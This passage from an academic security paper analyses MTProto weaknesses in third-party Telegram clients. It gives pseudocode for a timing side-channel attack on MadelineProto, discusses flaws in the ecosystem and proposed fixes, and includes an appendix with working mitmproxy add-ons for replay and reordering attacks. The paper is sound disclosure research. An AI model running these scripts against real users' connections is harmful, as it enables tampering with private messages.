5.2.2. Practical timing experiments. By measuring the response time, an attacker can estimate the time it takes to process a message. To verify the existence of the timing differences between failures of the `msg_id`, the `msg_length` and the `msg_key` checks, we measured the message processing time in a simulated environment: we modified the program to be synchronous and created a clean interface, i.e., the messages are not sent over the network but passed as arguments. We conducted the experiments on an Intel i7-6500U processor running Linux-libre 5.10.72 at 2.5 GHz with turboboost and hyper threading both disabled.

Our results are visualized in Fig. 4 and key statistics are shown in Table 4. The time difference arising between failures of the `msg_length` and `msg_id` checks is due to the additional SHA-256 computation in the case of a passing `msg_length` check. The size of this time difference linearly depends on the payload size which is passed to SHA-256. Even though the `msg_id` checks are evaluated first, the processing time is larger in case of a `msg_id` failure. The reason is, that `msg_id` failures are logged which involves relatively slow operations.

At the beginning, the attacker can forge a ciphertext consisting of only $c_1||c^*$ which will not pass the `msg_length` check as there is no padding. Therefore, the attacker does not always have to distinguish between `msg_key` and `msg_id` failures, but only between `msg_length` and `msg_id` failures.

There is one significant limitation, however: we cannot assume that the timing differences between failures of the different length checks (e.g., that the padding size is bigger than 12 B or that the padding size is smaller than 1024 B) are measurable. The reason is that no computationally intensive operations are involved between two such checks. This complicates our attack slightly.

5.2.3. Attack in a clean oracle model. As a proof of concept, we now describe how an attacker can exploit timing

Algorithm 3 Timing side-channel attack against MadelineProto.

```

1: procedure  $\mathcal{A}^O(i, m_1, m_{i-1}, \text{payload})$ 
2:   auth_key_id  $\leftarrow$  payload[0 B : 8 B]
3:   msg_key  $\leftarrow$  payload[8 B : 24 B]
4:    $c_1, \dots, c_n \leftarrow \text{payload}[24 \text{ B} : ] \quad \triangleright \forall j : |c_j| = 16 \text{ B}$ 
5:    $c^* \leftarrow c_i \oplus m_{i-1} \oplus m_1$ 
6:    $\tilde{c} \leftarrow \text{auth\_key\_id} || \text{msg\_key} || c_1 || c^*$ ;  $l \leftarrow 0$ 
7:
    $\triangleright$  Increment  $l$  linearly until msg_key failure or reaching
   of the limit
8:   repeat
9:      $c' \leftarrow \tilde{c} || \text{randomBytes}(l)$ 
10:    if len( $c'$ )  $> 2^{22}$  then
11:      Log("The 10 MSBs of  $m^*$  or the 2 LSBs of
 $m^*$  are nonzero")
12:      return  $\perp$ 
13:      ans  $\leftarrow O(c')$ 
14:      if ans = MSG_ID_FAIL then
15:        Log("msg_id ( $m^*$ ) is too big or its LSB is
nonzero"); return  $\perp$ 
16:        if ans = LENGTH_FAIL then
17:           $l \leftarrow l + 1008$ 
18:        until ans = INTEGRITY_FAIL
19:         $l \leftarrow l - 1008 \quad \triangleright$  Set  $l$  to the max value s.t. the
padding is too small
20:
21:        lo  $\leftarrow 0$ ; hi  $\leftarrow 1008/16 \quad \triangleright$  Binary search to get
lowest msg_key failure
22:        while lo  $\neq$  hi do
23:          mid =  $\lceil \frac{\text{lo} + \text{hi}}{2} \rceil$ 
24:           $c' = \tilde{c} || \text{randomBytes}(16 \cdot \text{mid})$ 
25:          ans  $\leftarrow O(c')$ 
26:          if ans = LENGTH_FAIL then
27:            lo  $\leftarrow \text{mid}$ 
28:          else if ans = INTEGRITY_FAIL then
29:            hi  $\leftarrow \text{mid} - 1$ 
30:           $l \leftarrow l + 16 \cdot \text{mid}$ 
31:          if ans = LENGTH_FAIL then
32:             $l \leftarrow l + 16 \quad \triangleright$  Add one block to get an integrity
check failure
33:
34:           $c' \leftarrow \tilde{c} || \text{randomBytes}(l + 1008)$ 
35:          ans  $\leftarrow O(c')$ 
36:          if ans = LENGTH_FAIL then
37:             $l^* \leftarrow l - 17$ 
38:          else
39:             $l^* \leftarrow l - 12$ 
40:           $m^* \leftarrow l^* \oplus (c_{i-1} \oplus c_1)[96:128] \quad \triangleright$  Compute the
guess
41:          return  $m^* \quad \triangleright$  Only guess length field

```




Figure 4: Timings of failures of msg_id, msg_length and msg_key checks, measured under ideal conditions with a modified version of MadelineProto code [41]. Packet size: 2048 B.

TABLE 4: Statistics of processing time measured in μs

Error type	# samples	Mean	Median	St. dev
msg_length	996057	204.010	203.133	4.313
msg_key	993465	221.408	221.014	4.291
msg_id	967952	247.271	247.002	2.835

differences described above to recover part of the target plaintext block m_i . To simplify, we present an attack that works in a “clean oracle” setting, i.e., we assume that the attacker can perfectly distinguish between the three different error types. The pseudocode of the attack is given in Algorithm 3. We successfully implemented the attack in Python.

The attack takes as input a target block index i , the known plaintext blocks m_1, m_{i-1} and the target payload consisting of auth_key_id, msg_key and ciphertext blocks c_1, \dots, c_n .

The core idea of the attack is to vary the number l of random bytes that are appended to a partial payload of the form $\tilde{c} = \text{auth_key_id} \parallel \text{msg_key} \parallel c_1 \parallel c^*$, where $c^* = c_i \oplus m_{i-1} \oplus m_1$ as before.

Such payloads will then be decrypted to $m_1 \parallel m^* \parallel m'_3 \parallel \dots \parallel m'_n$ where m_1 contains the valid server_salt and session_id, m^* is as in Eq. (11) and m'_3, \dots, m'_n are garbled blocks with $n = \lfloor \frac{l}{16} \rfloor + 2$.

The key point is, that the MadelineProto client interprets m^* as containing msg_id, msg_seq_no, and msg_length, while blocks m'_3, \dots, m'_n are interpreted as msg_data and padding. The MadelineProto client computes the size of the padding as $|\text{msg_data}(m'_3 \parallel \dots \parallel m'_n)| + |\text{padding}(m'_3 \parallel \dots \parallel m'_n)| - \text{msg_length}(m^*) = l - \text{msg_length}(m^*)$.

By using such a payload with varying l , the attacker can trigger different errors. The idea is to find the smallest value for l , such that the msg_key check fails. This will give the attacker information about the value $\text{msg_length}(m^*)$ and

allows the corresponding bits of the target block m_i to be inferred using Eq. (11).

Since MadelineProto reduces the size of the ciphertext to be a multiple of 16 B, an attacker increases l by multiples of 16 B. There is a window of 1012 B between a msg_length check failure due to a too small padding and a msg_length failure due to a too big padding. This allows the attacker to first increase l linearly by 1008 B = 16 · 63 B at a time while being sure that the window of a msg_key failure is not missed. We stress that a binary search is not possible in this part of the attack, due the attacker not being able to distinguish having a too small and a too big padding. In a binary search, an attacker would not know when to increase and when to decrease l .

Once a msg_id check failure is encountered for a given l , we know that the padding size is between 12 B to 1024 B, hence the following inequalities hold:

$$12 \leq l - \text{msg_length}(m^*) \leq 1024. \quad (12)$$

Since there is a lower limit (of $l - 1008$) and an upper limit (of l) for the minimal size that triggers a msg_key check failure, the attacker can now switch to using a binary search to find the smallest value l^- which is a multiple of 16 B and which triggers a msg_key check failure. Once this l^- is found, we know that

$$12 \leq l^- - \text{msg_length}(m^*) < 12 + 16 \quad (13)$$

$$\text{i.e. } 0 \leq l^- - \text{msg_length}(m^*) - 12 < 16. \quad (14)$$

At this point, the attacker can correctly recover all but the four least significant bits (LSBs) of $\text{msg_length}(m^*)$. However, there is a trick to learn the fourth LSB: The attacker queries the oracle with $l^- + 1008$ random bytes. If the answer is a msg_key check failure, we have

$$l^- + 1008 - \text{msg_length}(m^*) \leq 1024 \quad (15)$$

and hence

$$12 \leq l^- - \text{msg_length}(m^*) \leq 16 \quad (16)$$

$$\text{i.e. } 0 \leq l^- - \text{msg_length}(m^*) - 12 \leq 4. \quad (17)$$

Otherwise, in case of a msg_length check error, we get

$$l^- + 1008 - \text{msg_length}(m^*) > 1024 \quad (18)$$

and hence

$$16 < l^- - \text{msg_length}(m^*) < 12 + 16 \quad (19)$$

$$\text{i.e. } 4 < l^- - \text{msg_length}(m^*) - 16 < 12. \quad (20)$$

In other words: the value of the fourth LSB of $l^- - \text{msg_length}(m^*) - x$ with either $x = 12$ or $x = 16$ is fixed, and the attacker successfully learns it. Since the attacker knows l^- and x , the attacker can transform this knowledge to that of the 29 most significant bits (MSBs) of $\text{msg_length}(m^*)$ and finally to the corresponding bits of m_i .

The number of queries needed for the above attack is the sum of queries in the linear phase and in the binary search phase. It amounts to approximately $\frac{\text{msg_length}(m^*)}{1008} + \log_2(63) \approx \frac{\text{msg_length}(m^*)}{1008} + 6$.

The measured number of queries for different values of $\text{msg_length}(m^*)$ in our experiments matches the expected behaviour: for $\text{msg_length}(m^*) \leq 2^{10}$ the number of queries is dominated by the binary search. For larger $\text{msg_length}(m^*)$, the number of queries grows linearly because it is dominated by the linear search. Note that the number of queries needed only depends on the value of $\text{msg_length}(m^*)$. If we limit m^* to have $\text{msg_length} \leq L$ for an arbitrary $L < 2^{32}$, then the average value of m^* is $\frac{L}{2}$. Hence, the attacker needs $\approx L \cdot 2^{-1} \cdot 2^{-10}$ queries on average in the clean oracle setting.

5.2.4. Limitations. Several conditions need to hold for a successful attack. There are two types of limitations. First, the attacker needs to have the possibility to trigger a `msg_key` check failure. This is not the case if the message was already rejected due to an invalid `msg_id` (m^*) or if $\text{msg_length}(m^*)$ is not divisible by four. Then there is a practical limitation. If $\text{msg_length}(m^*)$ is too big, then the attack does not finish in reasonable time. Furthermore, the attacker needs to send a message with length on the order of $\text{msg_length}(m^*)$ bytes which may trigger an OS exception due to a large amount of memory being allocated, leading to a crash of the client. For our experimental setup, we had to require $\text{msg_length} \leq 2^{22}$.

To summarize, the attack is successful in the following cases:

- 1) $\text{msg_id}(m^*)$ is smaller than the maximum limit of approximately 2^{63} .
- 2) $\text{msg_id}(m^*)$ has odd parity.
- 3) $\text{msg_length}(m^*)$ is smaller than 2^{22} .
- 4) $\text{msg_length}(m^*)$ is divisible by four.

If $i = 2$, then $m^* = m_2$ and all conditions are fulfilled. Hence, an attacker can find the true message length up to the last three LSBs with a success probability of 100% in a clean oracle setting. So the length of a message is no longer obfuscated.

If $i \neq 2$, the success probability is reduced to $\approx 2^{-1} \cdot 2^{-1} \cdot 2^{-10} \cdot 2^{-2} = 2^{-14}$ since the four conditions listed above must all hold (here we rely for the probability analysis that $\text{msg_length}(m^*)$ is effectively randomised since it arises as a 32-bit subfield of $m_i \oplus c_{i-1} \oplus c_1$ and we can treat ciphertext blocks c_{i-1} , c_1 as being random 128-bit strings). Here, as above, we assume a clean distinction between the three failure conditions.

Note that the attack can be carried out for every block of a message with independent success probability. Thus, an attacker can expect to recover 29 bits of plaintext from one in every 2^{14} blocks.

5.2.5. Attack with noisy oracles. In a real-world setting, we have to take into account the fact that the correctness of the oracle responses is probabilistic, with sources of noise coming from the presence of other processes running on the client and from network jitter arising between the client and the attacker.

However, the attacker can repeatedly send the same message, observe the client processing times, and average

over multiple measurements to improve the timing accuracy. Here we are assisted by the fact that the MadelineProto client does not force a re-establishment of MTProto sessions on decryption failures. This makes it possible to build an (effectively) clean oracle from the actual noisy one that is available. Assuming an independent and identically distributed Gaussian distribution of the response time for multiple queries, the variance of the average scales down by the square root of the number of trials. Using standard statistical techniques involving the different means and variances for the 3 different timing distributions (cf. Fig. 4), it is possible to compute how many trials are required to obtain an (effectively) clean oracle as a function of the noise distribution. In short, it is sufficient to make each pair of peaks of average timings for the 3 different distributions lie a few standard deviations apart to obtain a reliable oracle. As Fig. 4 and Table 4 show, there is a gap on the order of $16\mu\text{s}$ between the different failure types. This should already be large enough to carry out the attack with the client and attacker located in the same LAN. As a point of comparison [42] showed this to be the case with timing differences on the order of only $1\mu\text{s}$.

However, we again stress that the required knowledge of `server_salt` and `session_id` makes the attack mostly of theoretical interest. For this reason we have not implemented the full attack against the actual client with a remote attacker, but were content to describe the attack and experiment with it in a simulated environment. This said, the values `server_salt` and `session_id` are not specified to be secret [12] so the two values may be revealed in a future implementation.

6. Security in a proliferating ecosystem

The presence of the replay vulnerability in three different Telegram libraries indicates the difficulty that developers face in implementing the required checks correctly. Two implementations (Listings 2 and 3) explicitly mention the missing implementation within a comment. Additionally, during the disclosure, one developer asked us for help to implement the fixes correctly. This indicates a more fundamental problem: the replay protection as specified in [11] and described in Section 3.2 is too large a burden for developers. It is neither straight forward to implement them, nor does it seem that enough help is provided. The specification requires a relatively complex text and no implementation examples are provided. To illustrate the complexity of the specifications, we quote the security guidelines for client developers for the checks on the `msg_id` [11]:

The client must check that `msg_id` has even parity for messages from client to server, and odd parity for messages from server to client.

In addition, the identifiers (`msg_id`) of the last N messages received from the other side must be stored, and if a message comes in with an `msg_id` lower than all or equal to any of the stored values, that message is to be ignored. Otherwise, the new message `msg_id` is added to the set, and, if the

number of stored `msg_id` values is greater than N , the oldest (i. e. the lowest) is discarded.

In addition, `msg_id` values that belong over 30 seconds in the future or over 300 seconds in the past are to be ignored (recall that `msg_id` approximately equals `unixtime * 232`). This is especially important for the server. The client would also find this useful (to protect from a replay attack), but only if it is certain of its time (for example, if its time has been synchronized with that of the server).

Certain client-to-server service messages containing data sent by the client to the server (for example, `msg_id` of a recent client query) may, nonetheless, be processed on the client even if the time appears to be “incorrect”. This is especially true of messages to change `server_salt` and notifications about invalid time on the client.

The specification is not only quite long and contains checks that are not relevant for a client developer, it is also not very clear and proposes to accept certain messages even if they do not strictly match the requirements. It is worth mentioning that even the official implementation in TDLib deviates from the specification by keeping at most $2 \cdot N$ message IDs and removing the oldest N message IDs in one go [43]. Another indicator for the complexity of the mentioned checks is the still open public issue on Telethon’s GitHub page where we disclosed the replay vulnerability. The problem has not been addressed yet, even though the popular Telethon library is actively maintained and receives around a dozen commits per month.

Since vulnerabilities in third-party clients affect not only Telegram in terms of reputational damage, but also directly on the application level (e.g., by the use of a vulnerable client to broadcast messages [38]), we argue that Telegram should address the underlying issue of hard-to-implement specifications directly. It would be straightforward to require and check that the `msg_id` increases by exactly 1 for every sent message, as it is implicitly done in the TLS record protocol [44, Section 5.3] This is easy to implement and would directly rule out any reordering attack. Since Telegram de facto relies on TCP and thus on reliable transport, our proposed change can be implemented without further consequences.

Furthermore, the vulnerabilities that we found in third-party clients and libraries together with the ones discussed in [6] suggest a more far-reaching question: how can security be guaranteed in an environment consisting of a variety of independent implementations?

The origin of the problems seems to be three-fold. Firstly, Telegram is developer-friendly and encourages developers to implement their own clients and bots [7]. This openness attracts developers without a cryptographic background. Secondly, as shown above, the custom protocol MTPProto 2.0 does not make it easy to build a secure implementation. Thirdly, when security issues in the Telegram protocol and official clients were discovered [6], Telegram’s official clients were patched without any vulnerability an-

nouncement being made by Telegram. There is no communication channel between Telegram and third-party developers to publish vulnerabilities and give security advices. The lack of transparency could hint at a strategy that favours adoption over security. We consider this as being a missed opportunity for Telegram to draw the attention of developers in their broader ecosystem to the security issues.

The first problem is partially addressed by the introduction of the cryptographic library TDLib in 2018 [45]. We propose that Telegram makes a strong recommendation to use TDLib. A downside of adopting this recommendation would be the introduction of a single point of failure on the implementation side. But, as our and prior work on other ecosystems suggests, secure implementations and fixes against known attacks are hard to implement in a broad ecosystem, cf. [13, 14, 15, 16, 17, 18]. We consequently advocate for security over having an open and distributed development. To reduce the potentially resulting centralization of clients, Telegram could further separate security critical parts from the rest of the client code. This way, openness on the application level could be guaranteed while improving security.

However, not all developers will use TDLib. Although the library can be integrated with various programming languages including Python, the popularity of the Python libraries Pyrogram and Telethon indicate that developers tend to use a library written in the same language as the rest of the code. An officially supported and thoroughly tested Python library could partially mitigate the issue. Otherwise, the Telegram specifications and security guidelines need to be more precise and easily understandable for non-cryptographers. One possibility is to provide pseudocode for the correct implementation of MTPProto 2.0.

The second problem is not addressed yet. To the contrary, design choices such as the relatively complex checks on the message ID could be simplified without loss of security. Similarly, the design choice to use encrypt-and-MAC opens the door for bad implementations of the decryption process and the introduction of potential timing side-channels. This was also observed in [6] but is endemic to encrypt-and-MAC, see for example the analysis of encrypt-and-MAC in SSH in [46] and the generic treatment in [47]. The use of encrypt-then-MAC in place of encrypt-and-MAC would significantly lower the potential for timing side-channel vulnerabilities in implementations because the MAC would be verified on the ciphertext, removing the temptation to perform decryption at all if the verification fails. Even better, Telegram could switch to using an AEAD scheme (as TLS has done exclusively in TLS 1.3). To summarize, the number of Telegram clients having critical security vulnerabilities shows that the security checks should be as simple as possible so that they will be correctly implemented.

More fundamentally, the justification to use a custom protocol in Telegram is questionable. Telegram mentions reliability for weak mobile connections and speed for cryptographic processing of large files as the reason for introducing MTPProto 2.0 [48]. However, even the official client Telegram Web Z uses TLS 1.3 on top of MTPProto 2.0. While

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Appendix

1. Client implementations

The Listings 5 to 7 show how to implement simple clients using the different libraries. All clients have the same behaviour: For every incoming message, they print the received text. Additionally, the clients connect to the Telegram server over a HTTP or SOCKS5 proxy running on localhost port 8080.

1.1. Pyrogram.

Listing 5: `pyrogram_client.py`: a simple Pyrogram receiver. The use of the proxy must be specified in the `config.ini` file.

```

1 from pyrogram import Client, filters
2
3 app = Client("test_account", test_mode=True)
4

```

```

5 @app.on_message(filters.text)
6 def print_message(client, message):
7     print(message.text)
8
9 if __name__ == '__main__':
10    app.run()

```

1.2. Telethon.

Listing 6: telethon_client.py: a simple Telethon receiver.

```

1 from telethon import TelegramClient, events
2
3 api_id = 123456
4 api_hash = 'your_hash_here'
5 proxy = ("http", '127.0.0.1', 8080)
6
7 with TelegramClient('test', api_id, api_hash,
8     proxy=proxy) as client:
9     @client.on(events.NewMessage(chats="me"))
10    async def handler(event):
11        print(event.message.message)
12
13 client.run_until_disconnected()

```

1.3. GramJS.

Listing 7: gramJS_client.js: a simple GramJS receiver.

```

1 const { TelegramClient } = require('telegram')
2 const { StringSession } = require('telegram/
3     sessions')
4 const { NewMessage } = require('telegram/events')
5
6 const apiId = 123456 // Change to your API ID
7 const apiHash = '' // Insert your API hash
8 const stringSession = new StringSession('');
9
10 function eventPrint(event) {
11     // Everytime you receive a message, print it
12     console.log(event.message.text);
13 }
14
15 const client = new TelegramClient(stringSession,
16     apiId, apiHash, {
17     useWSS: false,
18     proxy: {
19         ip: "127.0.0.1", // Proxy host IP
20         port: 8080, // Proxy port
21         MTProxy: false, // Use SOCKS
22         socksType: 5, // Use SOCKS5
23         timeout: 2 // Timeout (in seconds) for
24             connection,
25     }
26 })
27
28 client.addEventHandler(eventPrint, new NewMessage
29     ({}));
30 client.connect();

```

2. Mitmproxy add-ons

Listing 8 shows how to replay text messages using mitmproxy. To run the attack, execute

```
mitmproxy -s [replay,reorder]_addon.py [--mode socks5]
```

where socks5 is only needed for the attack against GramJS.

2.1. Replay attack.

Listing 8: replay_addon.py

```

1 from mitmproxy import ctx
2
3 class Replayer:
4     def __init__(self):
5         self.saved = None
6
7     def tcp_message(self, flow):
8         message = flow.messages[-1]
9         message_len = len(str(message))
10
11         ctx.log.info(str(message_len))
12         if 700 < message_len < 1000: # Only save
13             text messages
14             if self.saved is None:
15                 ctx.log.info("SAVE packet")
16                 self.saved = message.content
17             else:
18                 ctx.log.info("LOAD packet")
19                 message.content = self.saved
20                 self.saved = None
21
22 addons = [
23     Replayer()
24 ]

```

2.2. Reordering attack.

Listing 9: reorder_addon.py

```

1 """
2 Addon for mitmproxy that reorders packets.
3
4 Usage:
5     mitmproxy -s reorder_addon.py
6     mitmdump -s reorder_addon.py
7 """
8
9 from mitmproxy import ctx
10
11 class Reorder:
12     def __init__(self):
13         self.packets = []
14         self.next = 0
15         self.basic_message = None
16
17     def tcp_message(self, flow):
18         message = flow.messages[-1]
19         message_len = len(str(message))
20         ctx.log.info(str(message_len))
21
22         if 700 < message_len < 1000: # Only deal
23             with text messages
24             if self.basic_message == None:
25                 ctx.log.info("SAVE basic message")
26                 self.basic_message = message.
27                 content
28                 return
29
30         # Store the first four packets.
31         # Replace them with the
32         # basic_message
33         if 0 <= len(self.packets) < 4:

```



```
30         ctx.log.info("SAVE packet")
31         self.packets += [message.content]
32         message.content = self.
            basic_message
33
34         # Only reorder the first 4 packets
            after basic_message
35     elif self.next < 12:
36         ctx.log.info("LOAD packet")
37         message.content = self.packets[
            self.next % len(self.packets)]
38         self.next += 3
39
40
41
42
43 addons = [
44     Reorder()
45 ]
```